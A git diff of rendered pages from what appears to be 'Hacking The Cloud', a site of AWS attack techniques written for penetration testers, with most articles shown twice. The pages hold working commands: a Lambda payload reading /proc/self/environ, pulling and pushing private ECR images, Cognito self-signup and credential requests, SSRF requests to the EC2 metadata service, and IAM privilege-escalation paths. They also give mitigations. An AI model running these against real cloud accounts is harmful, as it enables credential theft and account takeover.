      +aws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \
      +    --payload '{"queryStringParameters":{"url":"file:///proc/self/environ"}}' \                                               
      +    --cli-binary-format raw-in-base64-out output.txt
      +
      +# Invoke the function by its URL
      +# Just because the Lambda Function can be invoked
      +# by anyone, doesn't mean it will have a public URL
      +# There is no known way to reverse the function URL
      +# to get the function ARN or vice-versa
      +curl https://examplexample12345678901234567890exa.lambda-url.$region.on.aws/?url=file:///proc/self/environ > output.txt
      +

      ECR Repositories

      Private Repository Access

      Even if the repository is private, it can be misconfigured so that it allows any other AWS account to access it.

      # Login first
      +# This command might not work on Windows
      +aws ecr get-login-password | docker login \
      +    --username AWS \
      +    --password-stdin 123456789012.dkr.ecr.$region.amazonaws.com/example-private
      +
      +# Pull image
      +docker pull 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest
      +
      +# Inspect image for secrets
      +# You can search the image in multiple ways
      +docker history 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest --no-trunc
      +docker inspect 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest
      +docker run -it 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest cat /etc/environment
      +
      +# You can even push a new version of the image
      +# if the ECR is that badly misconfigured
      +docker push 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest
      +

      Public Repository Access

      This is the case where the company created a public repository instead of a private one. Compared with the other services from section 3, this one can be found from a black-box perspective.

      # You can find the repository by searching it
      +# https://gallery.ecr.aws/search?searchTerm=hackingthe.cloud
      +
      +# Login
      +# The public ECR is available only in us-east-1
      +aws ecr-public get-login-password --region us-east-1 | docker login \
      +    --username AWS \
      +    --password-stdin public.ecr.aws/id123456/example-public
      +
      +
      +# Pull public image
      +docker pull public.ecr.aws/id123456/example-public
      +
      +# Inspect image for secrets
      +# You can search the image in multiple ways
      +docker history public.ecr.aws/id123456/example-public --no-trunc
      +docker inspect public.ecr.aws/id123456/example-public
      +docker run -it 1public.ecr.aws/id123456/example-public cat /etc/environment
      +

      Call for contributions

      Do you know other relevant services that can be misconfigured so that they grant read, write or execute permissions over their resources? Feel free to add or suggest them.

      One service that should be included in this document is AWS Cognito. However, recently AWS performed some changes over how Cognito can be configured and further analysis is required before I can vouch for the attacks against it.

      \ No newline at end of file diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html index e5518a2ff..6a8cdabd4 100644 --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html @@ -1,4 +1,4 @@ - Misconfigured Resource-Based Policies - Hacking The Cloud

      Article by Nick Frichette

      Misconfigured Resource-Based Policies

      Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

      For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Misconfigured Resource-Based Policies

      Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

      For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
      index dcb9b54dd..c7819461d 100644
      --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
      +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
      @@ -1,4 +1,4 @@
      - Abusing Misconfigured ECR Resource Policies - Hacking The Cloud         

      Article by Nick Frichette

      Abusing Misconfigured ECR Resource Policies

      AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

      Note

      Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

      Understanding ecr:GetAuthorizationToken

      A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

      Note

      When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

      Downloading Containers

      Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Abusing Misconfigured ECR Resource Policies

      AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

      Note

      Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

      Understanding ecr:GetAuthorizationToken

      A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

      Note

      When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

      Downloading Containers

      Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {
         "Version": "2012-10-17",
         "Statement": [
           {
      diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
      index a79a2948c..dee4cee4b 100644
      --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
      +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
      @@ -1,4 +1,4 @@
      - Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud         

      Article by Nick Frichette

      Abusing Misconfigured Role Trust Policies with a Wildcard Principal

      As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

      Role Trust Policies

      As stated in the AWS documentation, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".

      This policy typically looks like the following:

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Abusing Misconfigured Role Trust Policies with a Wildcard Principal

      As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

      Role Trust Policies

      As stated in the AWS documentation, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".

      This policy typically looks like the following:

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/exploitation/abusing-container-registry/index.html b/aws/exploitation/abusing-container-registry/index.html
      index 3895a4800..bd949be91 100644
      --- a/aws/exploitation/abusing-container-registry/index.html
      +++ b/aws/exploitation/abusing-container-registry/index.html
      @@ -1,4 +1,4 @@
      - Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud         

      Article by Roi Lavie

      Abusing Elastic Container Registry for Lateral Movement

      IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

      Inbound SG

      This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

      Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

      Video Summary:

      • An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
      • The attacker gains access to resources using access to ECR
      • The attacker pulls the latest docker image
      • The attacker adds a layer by injecting a malicious payload to the docker image
      • The attacker pushes the docker image to ECR with the latest tag
      • The victim pulls the latest docker image and starts the container
      • The malicious reverse shell is executed and communicates with the attacker
      • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

      Security Recommendations:

      • Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR
      • Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.
      • Enforce signing of docker images
      • (see: https://github.com/notaryproject/notary)
      • Use docker custom security profiles like AppArmor, Seccomp
      • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

      Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

      Article by Roi Lavie

      Abusing Elastic Container Registry for Lateral Movement

      IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

      Inbound SG

      This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

      Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

      Video Summary:

      • An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
      • The attacker gains access to resources using access to ECR
      • The attacker pulls the latest docker image
      • The attacker adds a layer by injecting a malicious payload to the docker image
      • The attacker pushes the docker image to ECR with the latest tag
      • The victim pulls the latest docker image and starts the container
      • The malicious reverse shell is executed and communicates with the attacker
      • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

      Security Recommendations:

      • Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR
      • Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.
      • Enforce signing of docker images
      • (see: https://github.com/notaryproject/notary)
      • Use docker custom security profiles like AppArmor, Seccomp
      • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

      Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

      \ No newline at end of file diff --git a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html index f1dea7dde..eb4ad54bb 100644 --- a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html +++ b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html @@ -1,4 +1,4 @@ - Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud

      Article by Wes Ladd

      Overpermissioned AWS Cognito Identity Pools

      A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

      If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

      Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

      How it works

      The process usually involves two key steps:

      Identity Retrieval:

      This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

      When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

      Excessive Privileges Exploitation:

      The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

      However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

      Exploitation

      The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

      aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Wes Ladd

      Overpermissioned AWS Cognito Identity Pools

      A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

      If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

      Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

      How it works

      The process usually involves two key steps:

      Identity Retrieval:

      This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

      When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

      Excessive Privileges Exploitation:

      The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

      However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

      Exploitation

      The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

      aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}
       
      and then:
      aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}
       

      Impact

      The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

      However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

      Article by Wes Ladd

      Unintended Self-Signup in AWS Cognito

      A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

      However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If "Admin Only" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

      How it works

      Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

      Web applications:

      An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

      1. Opening the web application in a web browser.
      2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
      3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

      It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

      Mobile applications:

      Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

      1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
      2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
      3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.

      Exploitation

      Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Wes Ladd

      Unintended Self-Signup in AWS Cognito

      A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

      However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If "Admin Only" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

      How it works

      Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

      Web applications:

      An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

      1. Opening the web application in a web browser.
      2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
      3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

      It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

      Mobile applications:

      Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

      1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
      2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
      3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.

      Exploitation

      Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}
       

      If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}
       

      Impact

      The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

      Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

      In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

      Article by Nick Frichette

      Steal EC2 Metadata Credentials via SSRF

      Note

      This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

      One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

      Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

      If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

      Stealing IAM Credentials from the Instance Metadata Service

      If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

      This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

      To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

      Showing SSRF

      To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

      If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

      Role Name

      To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

      Stolen Keys

      These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

      Note

      An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

      Additional Resources

      For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

      Article by Nick Frichette

      Steal EC2 Metadata Credentials via SSRF

      Note

      This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

      One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

      Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

      If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

      Stealing IAM Credentials from the Instance Metadata Service

      If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

      This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

      To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

      Showing SSRF

      To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

      If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

      Role Name

      To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

      Stolen Keys

      These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

      Note

      An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

      Additional Resources

      For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

      \ No newline at end of file diff --git a/aws/exploitation/iam_privilege_escalation/index.html b/aws/exploitation/iam_privilege_escalation/index.html index 4803fc38b..d697c8a23 100644 --- a/aws/exploitation/iam_privilege_escalation/index.html +++ b/aws/exploitation/iam_privilege_escalation/index.html @@ -1,4 +1,4 @@ - AWS IAM Privilege Escalation Techniques - Hacking The Cloud

      Article by Nick Frichette

      AWS IAM Privilege Escalation Techniques

      Note

      If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

      codestar:CreateProject, codestar:AssociateTeamMember

      With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

      This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

      Using codestar:AssociateTeamMember

      Showing the CodeStar policy

      glue:UpdateDevEndpoint

      With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

      iam:AddUserToGroup

      With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

      iam:AttachGroupPolicy

      With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

      iam:AttachRolePolicy

      With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      iam:AttachUserPolicy

      With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      iam:CreateAccessKey

      With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

      Showing iam:CreateAccessKey

      iam:CreateLoginProfile

      With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

      iam:CreatePolicyVersion

      With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

      iam:DeleteRolePermissionsBoundary

      With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:DeleteRolePolicy

      With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      iam:DeleteUserPermissionsBoundary

      With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      iam:DeleteUserPolicy

      With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      iam:DetachRolePolicy

      With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      iam:DetachUserPolicy

      With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,

      With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

